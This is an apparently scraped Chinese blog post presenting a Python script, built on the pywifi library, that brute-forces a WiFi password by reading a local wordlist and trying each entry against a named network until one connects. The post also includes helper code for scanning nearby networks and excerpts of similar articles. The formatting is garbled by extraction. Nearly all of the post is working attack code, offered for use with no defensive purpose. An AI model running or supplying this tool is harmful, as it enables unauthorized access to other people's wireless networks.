暴力破解WIFI

2021-10-03 23:38:18 字數 2644 閱讀 3404

import pywifi

from pywifi import const

import time # 時間模組

''''

1:匯入模組

2:抓取第乙個網絡卡介面

3:斷開wifi連線

4:從密碼本上讀取密碼

5:設定睡眠時間 3秒左右

'''# 名稱 wifi密碼

defwificonnect

(wifiname,wifipwd)

:'''wifi的測試連線'''

wifi = pywifi.pywifi(

) ifaces = wifi.inte***ces()[

0]#斷開wifi連線

ifaces.disconnect(

) time.sleep(

0.5)

if ifaces.status(

)== const.iface_disconnected:

# 建立wifi檔案

profile = pywifi.profile(

)# wifi名稱

profile.ssid = wifiname

# 密碼

profile.key = wifipwd

# wifi的加密演算法

# 網絡卡的開放

profile.auth = const.auth_alg_open

# 加密單元

profile.cipher = const.cipher_type_ccmp

# 刪除所有的wifi檔案

ifaces.remove_all_network_profiles(

)# 設定新的鏈結檔案

temp_profile = ifaces.add_network_profile(profile)

# 連線wifi

ifaces.connect(temp_profile)

time.sleep(3)

if ifaces.status(

)== const.iface_disconnected:

return

true

else

:return

false

# 讀取密碼本

defread_pwd()

:'''讀取密碼本'''

print

('開始破解:'

) path = r'c:\users\frenzy fan\pycharmprojects\untitled1\wifi\wifipwd.txt'

file

=open

(path,

'r')

while

true

:try

: wifipwd =

file

.readline(

)bool

=wificonnect(

'cmcc-v6ic'

,wifipwd)

ifbool

:print

('密碼正確'

+wifipwd)

break

# 退出一層迴圈

else

:print

('密碼錯誤'

+wifipwd)

except

:continue

file

.close(

)read_pwd(

)# wificonnect('cmcc-v6ic','123')

pywifi的用法:

import pywifi

from pywifi import const # 引入一些定義

# 判斷是否連線到wifi環境

defgic()

:# 建立乙個wifi物件

wifi = pywifi.pywifi(

)# 獲取網絡卡 列表

ifaces = wifi.inte***ces()[

0]# 獲取無線網絡卡名字

# print(ifaces.name())

# print(ifaces.status()) # 0代表沒有連線到wifi

if ifaces.status(

)== const.iface_disconnected:

print

('wifi未連線'

)else

:print

('wifi已連線'

)# gic()

# 掃瞄附近wifi

defbies()

:# 建立乙個wifi物件

wifi = pywifi.pywifi(

)# 獲取網絡卡 列表

ifaces = wifi.inte***ces()[

0]# 掃瞄

ifaces.scan(

) bessis = ifaces.scan_results(

)print

(bessis)

for wifi in bessis:

# wifi名字

print

(wifi.ssid)

bies(

)

pywifi暴力破解WIFI

注 在相同目錄下新建乙個janywifi.json檔案 隨機生成8 11位數字,生成過的數字存在janywifi.json檔案裡,不重複,斷點繼續 import time 時間 import pywifi 破解wifi from pywifi import const 引用一些定義 from asy...

Python 暴力破解wifi

思路 首先檢查是否擁有無限網絡卡 無線網絡卡是否連線到wifi 如果連線到wifi那麼需要斷開連線,因為一張網絡卡同一時間只能連線乙個wifi 搜尋附近的wifi確定連線的目標 使用字典開始嘗試自動連線 實列 首先安裝pywifi模組,這個模組專門用來處理wifi的資訊 pip install py...

Python暴力破解wifi

import pywifi from pywifi import const import time wifi pywifi.pywifi 抓取網絡卡介面 iface wifi.inte ces 0 抓取第乙個無線網絡卡 iface.disconnect 測試鏈結斷開所有鏈結 讀取密碼字典,進行匹配...